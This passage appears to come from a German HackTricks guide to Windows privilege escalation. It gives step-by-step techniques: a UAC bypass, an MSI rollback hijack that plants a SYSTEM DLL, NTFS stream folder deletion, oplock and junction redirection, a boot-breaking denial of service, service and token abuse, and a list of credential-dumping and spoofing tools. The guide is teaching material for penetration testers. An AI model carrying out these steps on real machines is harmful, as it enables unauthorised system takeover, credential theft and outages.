6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

Vom Administrator (Medium) zum High-Integritätslevel / UAC Bypass

Lese dies, um etwas über Integritätsstufen zu lernen:

Integrity Levels

Lese dann dies, um etwas über UAC und UAC-Bypässe zu erfahren:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

Der Angriff besteht im Wesentlichen darin, die Rollback-Funktion des Windows Installer auszunutzen, um während des Deinstallationsprozesses legitime Dateien durch bösartige zu ersetzen. Dazu muss der Angreifer ein malicious MSI installer erstellen, das verwendet wird, um den Ordner C:\Config.Msi zu kapern. Dieser Ordner wird später vom Windows Installer verwendet, um Rollback-Dateien während der Deinstallation anderer MSI-Pakete zu speichern; die Rollback-Dateien werden so geändert, dass sie die bösartige Nutzlast enthalten.

Die zusammengefasste Technik ist wie folgt:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Erstelle ein .msi, das eine harmlose Datei (z. B. dummy.txt) in einem beschreibbaren Ordner (TARGETDIR) installiert.

  • Markiere den Installer als "UAC Compliant", sodass ein non-admin user ihn ausführen kann.

  • Halte nach der Installation einen Handle auf die Datei offen.

  • Step 2: Begin Uninstall

  • Deinstalliere dasselbe .msi.

  • Der Deinstallationsprozess beginnt, Dateien nach C:\Config.Msi zu verschieben und sie in .rbf-Dateien (Rollback-Backups) umzubenennen.

  • Poll the open file handle mithilfe von GetFinalPathNameByHandle, um zu erkennen, wann die Datei zu C:\Config.Msi\<random>.rbf wird.

  • Step 3: Custom Syncing

  • Das .msi enthält eine custom uninstall action (SyncOnRbfWritten), die:

  • signalisiert, wenn .rbf geschrieben wurde,

  • und dann auf ein anderes Event wartet, bevor die Deinstallation fortfährt.

  • Step 4: Block Deletion of .rbf

  • Sobald signalisiert wurde, öffne die .rbf-Datei ohne FILE_SHARE_DELETE — das verhindert, dass sie gelöscht wird.

  • Dann signal back, sodass die Deinstallation abgeschlossen werden kann.

  • Der Windows Installer kann die .rbf nicht löschen, und da er nicht alle Inhalte entfernen kann, wird C:\Config.Msi nicht entfernt.

  • Step 5: Manually Delete .rbf

  • Du (der Angreifer) löschst die .rbf-Datei manuell.

  • Nun ist C:\Config.Msi leer und bereit, gehijacked zu werden.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Erstelle den Ordner C:\Config.Msi selbst neu.

  • Setze schwache DACLs (z. B. Everyone:F), und halte einen Handle mit WRITE_DAC offen.

  • Step 7: Run Another Install

  • Installiere das .msi erneut, mit:

  • TARGETDIR: beschreibbarer Ort.

  • ERROROUT: Eine Variable, die einen erzwungenen Fehler auslöst.

  • Diese Installation wird erneut verwendet, um den rollback auszulösen, der .rbs und .rbf liest.

  • Step 8: Monitor for .rbs

  • Verwende ReadDirectoryChangesW, um C:\Config.Msi zu überwachen, bis eine neue .rbs erscheint.

  • Erfasse deren Dateinamen.

  • Step 9: Sync Before Rollback

  • Das .msi enthält eine custom install action (SyncBeforeRollback), die:

  • ein Event signalisiert, wenn die .rbs erstellt wurde,

  • und dann wartet, bevor sie fortfährt.

  • Step 10: Reapply Weak ACL

  • Nachdem das rbs created-Event empfangen wurde:

  • Der Windows Installer wendet starke ACLs erneut auf C:\Config.Msi an.

  • Da du jedoch noch einen Handle mit WRITE_DAC offen hast, kannst du wieder schwache ACLs anwenden.

ACLs werden nur beim Öffnen eines Handles durchgesetzt, daher kannst du weiterhin in den Ordner schreiben.

  • Step 11: Drop Fake .rbs and .rbf

  • Überschreibe die .rbs-Datei mit einem gefälschten Rollback-Skript, das Windows anweist:

  • dein .rbf (malicious DLL) in einen privilegierten Pfad wiederherzustellen (z. B. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Lege deine gefälschte .rbf ab, die eine bösartige SYSTEM-level payload DLL enthält.

  • Step 12: Trigger the Rollback

  • Signalisiere das Sync-Event, damit der Installer fortfährt.

  • Eine type 19 custom action (ErrorOut) ist so konfiguriert, dass sie die Installation absichtlich an einem bekannten Punkt fehlschlagen lässt.

  • Das verursacht, dass der Rollback beginnt.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • liest dein bösartiges .rbs,

  • kopiert deine .rbf-DLL in den Zielpfad.

  • Du hast jetzt deine malicious DLL in einem von SYSTEM geladenen Pfad.

  • Final Step: Execute SYSTEM Code

  • Starte ein vertrauenswürdiges auto-elevated binary (z. B. osk.exe), das die von dir hijackte DLL lädt.

  • Boom: Dein Code wird als SYSTEM ausgeführt.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

Die Haupt-MSI-Rollback-Technik (die vorherige) setzt voraus, dass du einen gesamten Ordner löschen kannst (z. B. C:\Config.Msi). Aber was, wenn deine Schwachstelle nur arbitrary file deletion erlaubt?

Du könntest NTFS-Interna ausnutzen: Jeder Ordner hat einen versteckten alternativen Datenstrom, der genannt wird:

C:\SomeFolder::$INDEX_ALLOCATION

Dieser Stream speichert die Index-Metadaten des Ordners.

Wenn Sie also den ::$INDEX_ALLOCATION-Stream eines Ordners löschen, entfernt NTFS den gesamten Ordner aus dem Dateisystem.

Sie können dies mit Standard-Dateilösch-APIs wie:

c
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Auch wenn du eine file delete API aufrufst, löscht sie den Ordner selbst.

Von Folder Contents Delete zu SYSTEM EoP

Was, wenn dein Primitive es dir nicht erlaubt, beliebige Dateien/Ordner zu löschen, aber es das Löschen der Inhalte eines vom Angreifer kontrollierten Ordners erlaubt?

  1. Schritt 1: Einen Köder-Ordner und eine Datei einrichten
  • Erstelle: C:\temp\folder1
  • Darin: C:\temp\folder1\file1.txt
  1. Schritt 2: Platziere einen oplock auf file1.txt
  • Der oplock pausiert die Ausführung, wenn ein privilegierter Prozess versucht, file1.txt zu löschen.
c
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Schritt 3: SYSTEM-Prozess auslösen (z. B. SilentCleanup)
  • Dieser Prozess durchsucht Ordner (z. B. %TEMP%) und versucht, deren Inhalt zu löschen.
  • Wenn er file1.txt erreicht, löst das oplock aus und übergibt die Kontrolle an deinen Callback.
  1. Schritt 4: Innerhalb des oplock-Callbacks – leite die Löschung um

  • Option A: Verschiebe file1.txt woanders

  • Das leert folder1, ohne das oplock zu brechen.

  • Lösche file1.txt nicht direkt — das würde das oplock vorzeitig freigeben.

  • Option B: Wandle folder1 in eine junction um:

bash
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Option C: Erstelle einen symlink in \RPC Control:
bash
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Dies zielt auf den NTFS-internen Stream ab, der die Ordnermetadaten speichert — das Löschen davon löscht den Ordner.

  1. Schritt 5: oplock freigeben
  • Der SYSTEM-Prozess läuft weiter und versucht, file1.txt zu löschen.
  • Aber jetzt, aufgrund der junction + symlink, löscht er tatsächlich:
C:\Config.Msi::$INDEX_ALLOCATION

Ergebnis: C:\Config.Msi wird von SYSTEM gelöscht.

Von beliebiger Ordnererstellung zu dauerhaftem DoS

Nutze ein Primitiv, das es dir erlaubt, einen beliebigen Ordner als SYSTEM/admin zu erstellen — selbst wenn du keine Dateien schreiben kannst oder keine schwachen Berechtigungen setzen kannst.

Erstelle einen Ordner (not a file) mit dem Namen eines kritischen Windows-Treibers, z.B.:

C:\Windows\System32\cng.sys
  • Dieser Pfad entspricht normalerweise dem Kernel-Modus-Treiber cng.sys.
  • Wenn Sie ihn vorab als Ordner anlegen, kann Windows den eigentlichen Treiber beim Booten nicht laden.
  • Dann versucht Windows, cng.sys während des Bootens zu laden.
  • Es sieht den Ordner, kann den eigentlichen Treiber nicht auflösen, und stürzt ab oder stoppt den Bootvorgang.
  • Es gibt keine Fallback-Option, und keine Wiederherstellung ohne externe Eingriffe (z. B. Boot-Reparatur oder Festplattenzugriff).

Von High Integrity zu System

Neuer Dienst

Wenn Sie bereits in einem High Integrity-Prozess laufen, kann der Weg zu SYSTEM einfach sein, indem Sie einfach einen neuen Dienst erstellen und ausführen:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

tip

Beim Erstellen einer service binary darauf achten, dass es ein gültiger Service ist oder die binary die notwendigen Aktionen schnell ausführt, da sie sonst nach 20s beendet wird.

AlwaysInstallElevated

Von einem High Integrity process aus kannst du versuchen, die AlwaysInstallElevated registry entries zu aktivieren und eine reverse shell mithilfe eines .msi Wrappers zu installieren.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

You can find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Wenn du diese token privileges hast (wahrscheinlich findest du diese bereits in einem High Integrity process), kannst du fast jeden Prozess (keine protected processes) mit dem SeDebug-Privileg öffnen, das Token des Prozesses kopieren und einen beliebigen Prozess mit diesem Token erstellen.
Mit dieser Technik wählt man üblicherweise einen Prozess, der als SYSTEM läuft und alle token privileges besitzt (ja, du kannst SYSTEM processes ohne alle token privileges finden).
You can find an example of code executing the proposed technique here.

Named Pipes

Diese Technik wird von meterpreter verwendet, um in getsystem zu eskalieren. Die Technik besteht darin, eine Pipe zu erstellen und dann einen Service zu erstellen/auszunutzen, der auf diese Pipe schreibt. Dann kann der Server, der die Pipe unter Verwendung des SeImpersonate-Privilegs erstellt hat, das Token des Pipe-Clients (des Service) impersonifizieren und SYSTEM-Privilegien erlangen.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Wenn es dir gelingt, eine dll zu hijacken, die von einem als SYSTEM laufenden process geladen wird, kannst du beliebigen Code mit diesen Rechten ausführen. Daher ist Dll Hijacking auch für diese Art der Privilege Escalation nützlich und außerdem viel leichter von einem high integrity process aus zu erreichen, da dieser write permissions auf die Ordner hat, die zum Laden von DLLs verwendet werden.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Prüft auf Fehlkonfigurationen und sensitive Dateien (check here). Detected.
JAWS -- Prüft auf mögliche Fehlkonfigurationen und sammelt Informationen (check here).
privesc -- Prüft auf Fehlkonfigurationen
SessionGopher -- Extrahiert PuTTY, WinSCP, SuperPuTTY, FileZilla und RDP gespeicherte Sitzungsinformationen. Lokal mit -Thorough verwenden.
Invoke-WCMDump -- Extrahiert Credentials aus dem Credential Manager. Detected.
DomainPasswordSpray -- Verteilt gesammelte Passwörter über die Domain
Inveigh -- Inveigh ist ein PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer und man-in-the-middle tool.
WindowsEnum -- Einfache privesc Windows enumeration
Sherlock ~~~~ -- Sucht nach bekannten privesc Schwachstellen (DEPRECATED für Watson)
WINspect -- Lokale Checks (Benötigt Adminrechte)

Exe

Watson -- Sucht nach bekannten privesc Schwachstellen (muss mit VisualStudio kompiliert werden) (precompiled)
SeatBelt -- Durchsucht den Host nach Fehlkonfigurationen (eher ein Informationssammler als privesc-Tool) (muss kompiliert werden) (precompiled)
LaZagne -- Extrahiert Credentials aus vielen Programmen (precompiled exe in github)
SharpUP -- Port von PowerUp nach C#
Beroot ~~~~ -- Prüft auf Fehlkonfigurationen (executable precompiled in github). Nicht empfohlen. Funktioniert nicht gut in Win10.
Windows-Privesc-Check -- Prüft mögliche Fehlkonfigurationen (exe aus python). Nicht empfohlen. Funktioniert nicht gut in Win10.

Bat

winPEASbat -- Tool erstellt basierend auf diesem Beitrag (braucht accesschk nicht zum Funktionieren, kann es aber verwenden).

Local

Windows-Exploit-Suggester -- Liest die Ausgabe von systeminfo und empfiehlt funktionierende Exploits (lokal python)
Windows Exploit Suggester Next Generation -- Liest die Ausgabe von systeminfo und empfiehlt funktionierende Exploits (lokal python)

Meterpreter

multi/recon/local_exploit_suggestor

Du musst das Projekt mit der korrekten Version von .NET kompilieren (see this). Um die installierte .NET-Version auf dem Zielhost anzuzeigen, kannst du:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Quellen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks